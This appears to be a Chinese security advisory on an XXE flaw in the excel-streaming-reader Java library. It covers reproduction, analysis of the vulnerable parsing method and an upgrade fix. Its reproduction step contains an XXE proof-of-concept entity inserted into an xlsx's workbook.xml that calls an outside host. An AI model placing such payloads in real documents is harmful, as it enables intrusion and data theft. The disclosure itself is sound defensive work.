新闻详情

excel-streaming-reader XXE漏洞

漏洞描述

Apache POI是Apache软件基金会的开放源码程序库,POI提供API给Java程序对Microsoft Office格式档案读和写的功能。对于 excel 读取,经常在读取某些特别大的 excel 文件的时候都会带来一个内存溢出的问题,而excel-streaming-reader就是为了解决该场景导致的一系列问题,它可以流式的读取 xlsx 文件,将一些特别大的文件拆分成小的文件去读。


漏洞复现过程

编写利用excel-streaming-reader读取xlsx的代码,如下图所示

1.jpg

2.jpg


将xlsx文件用rar打开,找到workbook.xml,在xml文件中加入XXE漏洞POC


<!DOCTYPE root[

<!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa">

%d;]>

3.jpg


执行读取该xlsx文件,即会执行xml文件中的命令

4.jpg



漏洞分析

com.monitorjbl.xlsx.StreamingReader.Builder.open(InputStream)方法时会对workbook进行初始化

5.jpg

在com.monitorjbl.xlsx.impl.StreamingWorkbookReader.init(File)方法中,会将workbook.xml内容传入document()方法中

6.jpg



而document()方法未对xxe漏洞进行防御,从而导致了XXE漏洞。


7.jpg


受影响版本

2.0.0版本及以下版本


修复方式

1.直接更新至最新版本(2.1.0)

<dependency>

                    <groupId>com.monitorjbl</groupId>

                    <artifactId>xlsx-streamer</artifactId>

                    <version>2.1.0</version>

            </dependency>

-